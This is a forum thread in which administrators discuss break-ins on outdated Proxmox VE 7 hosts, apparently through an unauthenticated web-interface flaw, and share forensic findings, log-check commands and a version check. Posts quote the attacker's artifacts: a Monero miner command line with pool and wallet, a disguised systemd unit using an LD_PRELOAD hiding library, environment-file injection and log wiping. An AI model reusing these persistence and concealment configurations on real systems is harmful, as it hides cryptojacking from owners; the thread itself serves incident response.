Proxmox VE 7 is vulnerable to some type of 0day/RCE non auth

leesteken said:
Sure, but who will put in the time to determine what CVE was used? Then we know for sure which versions are affected. Until then, up to date Proxmox appears to be safe.
Click to expand...
Indeed it is, no issues until now, no weird things happening. Unfortunately, I couldn't get my hands on any infected environment to better understand what was the situation, what could be the failure points, etc. (all the environments I manage are on the latest version and properly secured, xD)

I'm just passing verified information back and forth between people and groups. And to what I verified, seems like all 7 and 8 versions can be affected, depending on their kernel versions. Probably even 9 can be affected, but that I could not verify.
 
rodrigobaldasso said:
* I had a few bare metal customers with publicly accessible proxmox 7.2 URLs that were hacked;
Click to expand...
This is both irresponsible and to be expected. Someone should warn then against doing this.
rodrigobaldasso said:
* Same message as these other users
* No virtualizor
Click to expand...
This is helpful (for people running outdated versions).
rodrigobaldasso said:
* I couldn't find the attack vector but seems like it was through SSH as I've reviewed the logs available and didn't seem they logged in using the proxmox GUI
Click to expand...
There have been several SSH vulnerabilities in the (internet) news. People should know better or at least have taken action. Or at least start keeping an eye on these things in the future.

junglivre said:
I'm just passing verified information back and forth between people and groups. And to what I verified, seems like all 7 and 8 versions can be affected, depending on their kernel versions. Probably even 9 can be affected, but that I could not verify.
Click to expand...
Unless someone can confirm an attack on PVE 9.2 (and show their work), I doubt there will be much investigation as it all relates to outdated/unsupported/known-to-be-vulnerable versions. Nonetheless, this can inform people lagging behind and urge them to upgrade, which is good.
 
  • Like
Reactions: Johannes S and junglivre
To be honest, I'm sick of this whole discussion. The newly registered users who were actually affected have already admitted that running an outdated system was a mistake. Meanwhile, some of the so-called veteran users on this forum just keep pointing fingers, shifting blame, taking things out of context, and avoiding the actual issue — all while refusing to acknowledge that there is a vulnerability.

https://files.catbox.moe/bv5g9t.mp4

Here's a video of the exploit running against PVE 7.4.

I wrote this exploit by reconstructing the attack from logs collected from a compromised PVE 7.4 machine I audited.
 
Last edited:
  • Like
Reactions: TheMrg and rodrigonb
leesteken said:
This is both irresponsible and to be expected. Someone should warn then against doing this.
Click to expand...
That someone is the person who have set up the environment.

Everyone manages their own environment as they see fit. The problem is that sometimes that person has no idea of what they are doing. Every once in a while a new vulnerability comes up and people should keep an eye and maintain their environment properly. Pretty much any publicly accessible system is vulnerable to this and/or had some kind of vulnerability of the same kind in the past (Vmware, Windows servers, Linux, etc.). This time was Proxmox.

A ton of people saying that a lot of critical systems runs on EOL systems. Yes, banks for example are still running applications written in Cobol or running Windows XP terminals and that's fine, and I bet that these systems (Windows XP for sure) have all kind of vulnerabilities, but you can't access your bank backend servers from your house IP address, so there's that.
 
Last edited:
rodrigobaldasso said:
Well, if that makes any difference (I'm not a troll and have been registered for years):
* I had a few bare metal customers with publicly accessible proxmox 7.2 URLs that were hacked;
* Same message as these other users (ramsomware note)
* No virtualizor installed
* I couldn't find the attack vector but seems like it was through SSH as I've reviewed the logs available and didn't seem they logged in using the proxmox GUI
* Old logs were deleted preventing more investigation
* They look for NFS mounts with "backup" names and delete everything within it
* Mounting the backup folders only when necessary might be something to consider
Click to expand...
cheers, valuable info
 
gasherbrum said:
can you describe the code/details of the vulnerability?
Click to expand...

I'm not a security researcher, so I don't really know the proper way to disclose a vulnerability publicly and responsibly. Because of that, I'm afraid I can't just reveal the details here. Any guidance or help on how to handle this properly would be greatly appreciated.
 
kore said:
I'm not a security researcher, so I don't really know the proper way to disclose a vulnerability publicly and responsibly. Because of that, I'm afraid I can't just reveal the details here. Any guidance or help on how to handle this properly would be greatly appreciated.
Click to expand...
If you share details, even which endpoint is affected, people can prepare a patch or other measures.

If you don't, these hackers will keep ransomware machines anyway.

Anyone can put a bait proxmox 7 server on the internet and collect the logs if they want to build their own exploit. So not sharing it is not really helping anyone right now.
 
  • Like
Reactions: christianio
Can confirm, found 3 instances of
Code: 
7.4.20
pwned.

Few things:

Attacker drops a payload in `/var/lib/systemd/PVE-1`

Binary runs:

`PVE-1--url=gulf.moneroocean.stream:20004--user=[user-id-here]--pass=difpp--donate-level=0--print-time=10--log-file=/dev/null--no-color--tls`

Uses up a lot of CPU, so it's in the process of encrypting the files, I assume.

Along these, the attacker seems to break `apt` by destroying the `dpkg/status` file, symlinks log files to `/dev/null`:

# ls -lah | grep /dev/null
lrwxrwxrwx 1 root root 9 Sep 1 01:43 auth.log -> /dev/null
lrwxrwxrwx 1 root root 9 Sep 1 01:43 btmp -> /dev/null
lrwxrwxrwx 1 root root 9 Sep 1 01:43 lastlog -> /dev/null
lrwxrwxrwx 1 root root 9 Sep 1 01:43 secure -> /dev/null
lrwxrwxrwx 1 root root 9 Sep 1 01:43 wtmp -> /dev/null

chrome_f7qVjtXqi1.png

Attacker just straight away opened up a root Shell with no seemingly prior auth.

That's all I can see.
 
  • Like
Reactions: Carlos Gomes
That's a crypto miner. Seems this 0-day is being abused by multiple parties - one ransomware, one to mine crypto.

I have a few LLMs working on the codebase with these facts, hopefully we have some answers in a few hours.
 
Znuff said:
No, the file with the access/breach was deleted
Click to expand...
grep -h "successful auth for user" /var/log/daemon.log* /var/log/syslog* 2>/dev/null
grep -h "authentication failure; rhost=" /var/log/daemon.log* /var/log/syslog* 2>/dev/null
journalctl -u pveproxy -u pvedaemon --since "-30d" | grep -iE "auth|ticket|termproxy"
pvesh get /cluster/log --max 5000 2>/dev/null | grep -iE "auth|console"

Can you paste these if they exist, redact any sensitive info? Around the time of the compromise.
 
asdpiasdjoi said:
grep -h "successful auth for user" /var/log/daemon.log* /var/log/syslog* 2>/dev/null
grep -h "authentication failure; rhost=" /var/log/daemon.log* /var/log/syslog* 2>/dev/null
journalctl -u pveproxy -u pvedaemon --since "-30d" | grep -iE "auth|ticket|termproxy"
pvesh get /cluster/log --max 5000 2>/dev/null | grep -iE "auth|console"

Can you paste these if they exist, redact any sensitive info? Around the time of the compromise.
Click to expand...
Nothing relevant in all of these.

They have also cleaned the systemd journals.

There's also a service for the miner being installed, using libhide:

Code: 
# systemctl cat PVE-1
# /etc/systemd/system/PVE-1.service
# Managed-by: install_and_mine.sh
[Unit]
Description=Proxmox VE node health monitor
Wants=network-online.target
After=network-online.target
# StartLimitIntervalSec belongs in [Unit], not [Service] -- older systemd
# (e.g. v252 on Debian 12) silently ignores it in [Service] and logs
# 'Unknown key' warnings that also break other parsing.
StartLimitIntervalSec=600
StartLimitBurst=5

[Service]
Type=simple
# Per-unit LD_PRELOAD keeps the service path deterministic; the login/tool
# session filters are installed separately in /etc/environment and
# /etc/profile.d/sysenv.sh.  Do NOT write /etc/ld.so.preload globally -- that
# contaminates sshd and the next ECDH KEX hangs forever.
StandardOutput=null
StandardError=null
# Keep the systemd path on the same physical-core-first CPU set as foreground mode.
CPUAffinity=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
Environment="LD_PRELOAD=/var/lib/systemd/.hide/libhide.so"
Environment="HIDE_PROCS=PVE-1,kworker/3:0,PVE-1-maintain"
Environment="HIDE_FILES="
Environment="HIDE_PATHS=/var/lib/systemd/PVE-1,/var/lib/systemd/ld-svc,/var/lib/systemd/.cache/releases,/var/lib/systemd/.cache/.install.lock,/var/lib/systemd/.hide"
Environment="HIDE_PORTS=20004"
Environment="HIDE_IPS="
Environment="HIDE_DIRECT_PROC=1"
Environment="HIDE_DIRECT_FILES=1"
Environment="HIDE_NETLINK=1"
Environment="HIDE_SCOPE=all"

ExecStart="/var/lib/systemd/ld-svc" "/var/lib/systemd/PVE-1" "PVE-1" "--" "--url=gulf.moneroocean.stream:20004" "--user=47PhdrcErv48X9oFZU86nqPUjSbQ25UySJg5q8Hwetjw2Mbm8YaDWX1RzEKmuDU8q624Lq6cLsBweKVL3YhVcqB6PtiNNeu" "--pass=qwpfe" "--donate-level=0" "--print-time=10" "--log-file=/dev/null" "--no-color" "--tls"
# Restart policy.  RestartSec is the *minimum* delay between restarts;
# systemd does NOT randomize this for services (only [Timer] units honor
# RandomizedDelaySec).  Per-service restart-jitter is implemented inside
# PVE-1-maintain instead, so kill-restart cycles don't lockstep
# across a fleet.
Restart=always
RestartSec=42
[Install]
WantedBy=multi-user.target
 
asdpiasdjoi said:
What ports were open to the internet on the machine? Only 22/8006 or everything?
Click to expand...

22/8006

This is 100% an auth bypass on 8006.

Else I don't see why the attackers would just straight up use the "Shell" function of the Web Interface as the first thing they did -- I confirmed this by timestamps, all files I found so far were created after the Shell function, including `libhide.so` and so on.

They also drop /etc/environment:

Code: 
# BEGIN install_and_mine.sh managed block
LD_PRELOAD="/var/lib/systemd/.hide/libhide.so"
HIDE_PROCS="PVE-1,kworker/3:0,PVE-1-maintain"
HIDE_FILES=""
HIDE_PATHS=""
HIDE_PORTS="20004"
HIDE_IPS=""
HIDE_DIRECT_PROC="1"
HIDE_DIRECT_FILES="0"
HIDE_NETLINK="0"
HIDE_SCOPE="monitor"
# END install_and_mine.sh managed block

And some other files in /etc/profile -- other attempts to use libhide.so. Plus they also drop some "bash history concealer" in /root/.bashrc and /root/.profile


Code: 
root@cdn8:/var/lib/systemd/.cache# grep . -R
.stealth-attrs:0
.donate-domains:donate.v2.xmrig.com
.donate-domains:donate.ssl.xmrig.com
.donate-domains:randomx.xmrig.com
.donate-domains:donate.v3.xmrig.com
.donate-domains:api.xmrig.com
.donate-block:1
.hugepages-state:version=1
.hugepages-state:old=0
.hugepages-state:target=1280
.hugepages-state:new=1280
.install-state:version=1
.install-state:base_dir=/var/lib/systemd/.cache
.install-state:hugepages_state_file=/var/lib/systemd/.cache/.hugepages-state
.install-state:stealth_bin=/var/lib/systemd/PVE-1
.install-state:loader_bin=/var/lib/systemd/ld-svc
.install-state:hide_dir=/var/lib/systemd/.hide
.install-state:global_profile_script=/etc/profile.d/sysenv.sh
.install-state:systemd_dir=/etc/systemd/system
.install-state:systemd_libexec_dir=/usr/libexec
.install-state:systemd_unit_name=PVE-1
.install-state:systemd_timer_name=PVE-1
.install-state:systemd_maintain_name=PVE-1-maintain
.install-state:maintain_bin=/usr/libexec/PVE-1-maintain

Seems these guys just tried to make a quick buck with an XMR miner so far, these ones didn't get hit by Ransomware/Disk Encryptors
 
Found it. It is a complete compromise of the web interface. No pre-requisites, just a vulnerable proxmox version.

There was a bug patched in pve-access-control (potentially by accident) in 2023.

I will submit it to MITRE so a CVE can be issued.

Run this to see if affected (pve-access-control lower than 8.0.4):

Code: 
V=$(dpkg-query -W -f='${Version}' libpve-access-control 2>/dev/null)
echo "libpve-access-control: ${V:-not installed}"
dpkg --compare-versions "$V" lt 8.0.4 \
  && echo ">>> AFFECTED" \
  || echo ">>> not affected"

The fix is to upgrade to 8.0.4 or newer.

On PVE 7.x, you need to take 8006 off public internet, or use pveproxy's access control on the root user.
 
Last edited:
  • Like
Reactions: gasherbrum, TheMrg, fba and 2 others
kore said:
I wrote this exploit by reconstructing the attack from logs collected from a compromised PVE 7.4 machine I audited.
Click to expand...
kore said:
I'm not a security researcher, so I don't really know the proper way to disclose a vulnerability publicly and responsibly. Because of that, I'm afraid I can't just reveal the details here.
Click to expand...
At least we now know, why you "can't" release any details currently.
 
  • Like
Reactions: Johannes S and urog
We had the same. Hacked 2 servers pve 6 and 7 this night. Yes we know we have to update. Bit we wunder, because there is no non auth issue out for proxmox
 
You must log in or register to reply here.
Top Bottom
Back